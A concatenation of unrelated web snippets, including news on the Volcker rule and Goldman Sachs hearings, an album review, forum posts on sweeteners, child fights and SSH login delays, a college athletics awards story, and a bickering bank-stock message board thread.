Tuesday's study is far from the end of the process. Once the council issues its study, regulators have nine months to implement more specific rules for the institutions they oversee. They are required to consider the council's recommendations , but aren't bound by them. The Fed alone will write the rule for some of the nation's largest financial institutions.
Regulators still have to grapple with tough issues, including how to measure the difference between long-term investments and short-term trades. The Volcker rule targets trades designed to profit from short-term price movements, meaning that longer-term investments, such as Goldman Sachs's recent deal to buy shares of Facebook, likely won't be an issue, said a person briefed on regulators' thinking.
Some meetings among council members on the Volcker rule study have been tense, with Treasury pushing for more prescriptive recommendations, while other regulators, including the Fed, wanted less specificity, said people familiar with the negotiations. The Fed and other banking regulators expressed concern that precise recommendations would circumvent the coming rule-writing process, including the period for public comments, people familiar with the negotiations said.

Sheena Easton
Using Easton to record these routine dance pop arrangements is like buying a Rolls-Royce to make two-block trips to the grocery store. Her voice, which ought to be either splashed all over the place or subdued into an alluring tease, becomes merely another accessory after the rhythmic fact. This is, after all, producer Nile Rodgers' style: to homogenize the singers he works with, sometimes for the better, sometimes—certainly in this case—for the far worse. What makes this album even more disappointing is that Easton's previous LP, A Private Heaven, demonstrated that unlike most big-voiced singers, she can belt and still be sexy (too sexy for some tastes in fact). There are some clever tunes in this set. Dana Merino's Young Lions is one, but in that instance as in others it is Rodgers' backgrounds that dominate the mix. Easton is allowed to surface only once in a while, which somehow seems to be missing the point by a mile or two. (EMI)

Where did you buy that candy?
od uživatele echotech 22. březen 2004
A delicious, sugary object that tastes good. Your mother never lets you eat it in the morning, before lunch, never if you don't eat a good lunch, before supper, and NEVER before bed. Yet somehow American children eat several tons (2,000 pounds multiplied several times) of it each year.
Jimmy: I totally wanna lick that lollipop... No homo
Jim-Bob: No get your own candy!

Embattled executives from Goldman Sachs faced a virtual firing squad on Capitol Hill Tuesday.
Past and present employees of the investment firm deny accusations of financial misconduct that some say caused the economic collapse.
"The Wild, Wild, West with less oversight than a pit boss in Las Vegas." That's how Missouri Senator Claire McCaskill described the world in which Goldman Sachs was operating in 2006 and 2007.
During the course of its 18 month investigation, the Senate panel has collected two million emails detailing the company's transactions.
"Any street gambler would never place a bet with a bookie or a house with the record that is revealed in the documents this committee has gathered," McCaskill said.
Senators are looking into allegations that Goldman knowingly profited from the housing meltdown, reaping billions at the expense of its clients.
"There's no doubt their behavior was unethical, and the American people will render a judgement as well as the courts," Arizona Senator John McCain said.
The Securities and Exchange Commission recently filed charges against the company specifically naming Fabrice Tourre.
The 31 year old Goldman Sachs trading executive is accused of marketing an investment designed to lose value.
In one email, Tourre called himself, "the fabulous fab, standing in the middle of all these complex exotic trades."
"I deny categorically the secretary's allegations, and I will defend myself in court against this false claim," Tourre said.
The hearing comes just one day after Republicans blocked efforts by Senate Democrats to pass the most sweeping reforms to the financial industry since the Great Depression.
The legislation would crack down on housing market investments that set off the crisis.
Republicans say they don't want to rush another massive bill through Congress.
"At the time, things happened in the market and were accepted in the market, that in hindsight, look very different," Dan Sparks, a former Goldman Sachs Employee, said.
It was a market that benefited lawmakers royally.
Goldman Sachs has given politicians more than 30 million dollars over the last two decades, much of it to Democrats.

what about kombucha or water kefir? I personally wouldn't want to drink 2 sweetened drinks a day but I do make iced tea or lemonade for a special treat once in a while in the summer. I usually use honey (dissolved first) and often use pureed peaches or berries in iced tea as well. You might also try out coconut sugar (similar flavor to turbinado but more nutrients). But sugar is sugar is sugar, best in strict moderation. And the more you have the more you want!
You could also try using stevia with another sweetner to cut the sweetner down more and mask the bitter taste stevia has, I wouldn't touch splenda as I'm extremely suspicious of the artificial stuff. Anyway, keep playing around, you'll figure out a good compromise eventually!

I just installed 2008.1.
When I try to make an ssh connection to the LM box it takes about 30
seconds before I even get a login prompt. Sometimes it takes so long
that the connection times out.
Once connected, it runs fine. But any attempt to start another session
will take just as long.
I'm using PuTTY on a doze box as the client. This does NOT happen with
PuTTY when I connect to other LM machines (that are not 2008.1).
Any ideas?

Former West Texas A&M quarterback Dustin Vaughan added more hardware to a stacked trophy case on Tuesday.
Vaughan and softball player Renee Erwin were named the 2014 Lone Star Conference Male and Female Athletes of the Year. The awards were announced Tuesday following a vote by the league's sports information directors.
Vaughan is the first male student-athlete in WT history to receive this honor, which started back in 1999.
The former Buffs quarterback was also named the Frank Jacoby Academic Athlete of the Year, along with Lady Buffs volleyball standout Laura Iwuchukwu on Monday.
Vaughan ended his college career with one of the greatest seasons in WT history. He was the 2013 Harlon Hill runner-up and helped guide the Buffs to their second consecutive NCAA playoff appearance and second trip to the NCAA national quarterfinals with an 11-3 record.
He earned AFCA First Team All-America honors, was a multiple All-America selection, and the LSC Offensive Player of the Year. Vaughan was the only quarterback at any level this season to pass for more than 5,000 yards with 5,401, the most all-time in Division II. His 53 touchdown passes also led the nation and were the most in conference history in a season, as well as being third-most all-time in Division II.
"It's good just in the standpoint that he's the complete package," WT head football coach Mike Nesbitt said. "When you recruit a guy and he does everything right for his school, community and his players, that is something special. He's going to be a tough act to follow for sure."
For his career, Vaughan owns the school and conference record for career passing yards (13,525), total yards (13,608) and touchdowns (123). He was recently signed by the Dallas Cowbys.
Erwin, a junior, is the fourth Lady Buff to bring home this illustrious award.
Erwin joins volleyball player Sarah Butler (2000) and basketball players Celeste Stevenson (2005) and Emily Brister (2006-09).
"I was a little shocked," Erwin said. "I thought the awards were all done, but I can add one more. It's a pretty amazing feeling not that many get to experience something like that, and I'm letting it all sink in. It's just an amazing feeling"
Erwin was a leader for one of the best offenses in the country. She helped guide the Lady Buffs to the school's first national championship and a 60-7 record, both this year. Erwin led the team with a .459 average, including 20 doubles, six triples and 18 homeruns to drive in 75 RBIs.
She recorded a slugging percentage of .902 with 42 walks for an on-base percentage of .574 while going a perfect 22-for-22 on stolen bases.
"What an honor for Renee," WT head coach Kevin Blaskowski said. "She stepped into a leadership role this season and the results speak for themselves. She is one of the most talented softball players that I've had the privilege of coaching in my 23 years, not only that she's an even
better student-athlete and person."

The incredible amount of energy packed into brine shrimp makes them the single most important food item in the worldwide tropical fish industry. Without them, we likely would not have the aquaculture industry that we have today. Almost every fish farm and nearly every home fish breeder uses newly hatched brine shrimp to help get their larval fish to a good start. Newly hatched brine shrimp are often the difference between success and failure with raising fish larvae, known in the aquarium hobby as "fry."
While some aquarists inexplicably dispute their usefulness, the simple fact is that newly hatched brine shrimp have been used successfully by many generations of fish breeders for the past 80 years. The aquaculture industry uses tons of brine shrimp eggs every year. This would be a waste of time and money if it didn't work. The fact is that feeding newly hatched brine shrimp to fish works.

– R&B star Usher, on whose career he would like to emulate

– Tom Cruise on dating
"I'm so sick and (expletive) tired of every single actor with their six-pack and how it's just a standard. You just don't see people in movies without sculpted bodies with their shirts off unless they're meant to be some heavyweight redneck, and then they go to the other extreme. It's bothersome because I just don't think it really reflects real people."
– The Village star Joaquin Phoenix on body image in Hollywood
"I watched Nirvana perform, I talked to Kurt Cobain, I talked to (Eric) Clapton, I got to work with (Chris) Farley every day. But I was so self-obsessed with survival – survival on the show and then mental health survival and back to survival on the show – I certainly didn't take time to smell the roses."
– Jay Mohr, on his frustrating two-year stint as a writer and performer on Saturday Night Live
"I was raised thinking I'd burn in hell for being gay, but I didn't have a choice. It's just who I am. So when my agency told me I'd have to be openly gay to do Queer Eye, it was a decision, but it was like, 'It's Bravo. Who watches Bravo?' "

"What we are doing here is the direct outgrowth from the ideas that I've tried to sing about for the past 25 years. Hopefully, we have built up a lot of credibility with our fans over the years. There comes a moment when you have to spend some of it. This is that moment."
– Bruce Springsteen, on why he decided to air his political views before this year's election
"Good news for tourists and everybody here in New York and the United States, actually: the Statue of Liberty has been reopened. That's exciting. It underwent a two-year restoration and this was all paid for not by tax dollars, but by corporate sponsors. And I think that explains why now, instead of a torch, she's holding a can of Red Bull."

If another child hits your child FIRST...should YOUR child have the RIGHTS to hit them back?!?!
If someone hit your child first ?
Yes...if they are hit first and cannot walk away because the person is chasing them they sure as hell may end it.
This. Kids hit, and kids get hit. It's a learning process for all of them. My dd has been taught that if someone is going to hit you or hurt your feelings... you simply walk away. Not giving that person attention sometimes the worst punishment. But if someone is going to continue to try to hurt you, then go ahead and defend yourself.
Quoting RiotousDigits:
was it just one hit or was the other kid getting ready to throw another punch?
If the former, no. If the latter, yes.

This hurts, Cramer curse and rate compression. Smaller bank stocks have been out performing for months. This is a hold at best!
Well, when you have nothing, you have nothing to loose...........Me, I am here for the long ride....and will it be a fun and exiting one?..Time will tell...kids, you will have your brand spanking new pool by next summer!! Mark my words!
It is nice to see this stock up today when most of the market is down due to oil price worries. I think most people right now are waiting for the news that someone has made a bid on the bank or is buying because they are expected the fed not to raise rates tomorrow and give dovish words of advice. Its been a few weeks since Cramer and his gang at theStreet.com were screaming its a take over target. I think the smart money is finally moving in and those who would be interested in purchasing HCBK can now work without many eyeballs watching what is going on.
Very Good Post, "Trader"! "Fit" just can't seem to understand the Market.....He talks LONG LONG TERM....how wonderful. On HCBK I've been Long Term and I've made about 10 times my original investment and thats been for a good 6 years...Is that long Term enough. At any time during that period if I wanted to sell...I could. The problem with the Stock that "FIT" keeps pumping on this message board, is that there is NO volume in the stock. I owned it and when I tried to sell it, it became a REAL problem. NO Market at all...The Volume is soooo LOW that it took well over a WEEK to sell it all. THAT IS NOT GOOD, SORRY STEVIE, I SAY AGAIN, NOT GOOD. Of course if one wants to keep the stock, as he puts it LONG LONG TERM, whatever that means, I'm sure eventually he might make some money. For the most part one does with banking shares in NJ......BUT still not good for those that might, just might need cash at some point in the future and then they CAN"T get it. So stop pushing this stock on this board or anyother board in such a BLIND fashion. You don't know what you are saying.
....You try to sound like you know what you're talking about but you're nothing short of a POMPOUS *ss.
Oh, "Trader" good point, I doubt if "Fit" even has any HCBK shares. He's playing some kind of a sef-serving game and losing big time.
A reasonably good post Fit4life, but all we are really asking of you is that you should confine your comments concerning hcbk to this message board and that your comments concerning that other company be confined to that message board.
Don't you realize that if one was interested in that other company, he or she would click on to that other companys' message board?
It's also noteworthy that you never seem to pump hcbk on that other board.
Shorty I wonder why that is you name (maybe I do know), I have been right on the money on this board, and the other one I PUMP you say I do, that is funny considering that I never bring it up you and everyone else does. It is funny though, been in both stocks, for a long time making good money on both.
I say stay in and buy on the other and it is at its' 52 week high, I say HOLD on this at $13.00 and look where it is now.
I am going in this week on HCBK seeing first what the stock does today, and will rate a buy, then (my feeling).
My position is LONG LONG TERM on the other stock, again in at $9.75, at 11.80 (average now).
I guess as a fool as you put it, maybe you can or anyone on here can say that, that is fine with me.
But I'd rather be a rich fool, that a sour a$$hole like you, I hope you and everyone on this board does fantastic and makes tons of money, but I am unclear why you or anyone else here makes a big issue when either I or anyone else makes comments that you do not agree with then attacking them for those comments.
I have my feelings as you do yours, keep you attacks to yourself and wish everyone good luck on this or my 2 branch stock soon to be 4 branches.
Fit you are a fool....you're fool on this message board and you're a fool on all the other message boards you go on. Especially that other message board for that dumb ass 2 branch bank you keep PUMPING. Take a course on investing....even Investments 101 would help you significantly.
See trader, you are not being nice and I thought we were having a good moment of fun! Obviously you do not like to play nice. Have a good one! PS. I give a s**t
Good, and I wish you the best.
Now, why not just confine your messages concerning that other Co. to that Co's message board since nobody on this message board really gives a s**t about it. O.K.?
Now work on your grammer. You spelled it incorrectly.
Laugh all you want my friend, I am going to cash in big on that one!!!!!
Hey FIT4, I forgot something and can't let it go.
In the event you do trade off that 100 shares,your favorite company will break it's ALLTIME DAILY TRADING VOLUME RECORD also.lol
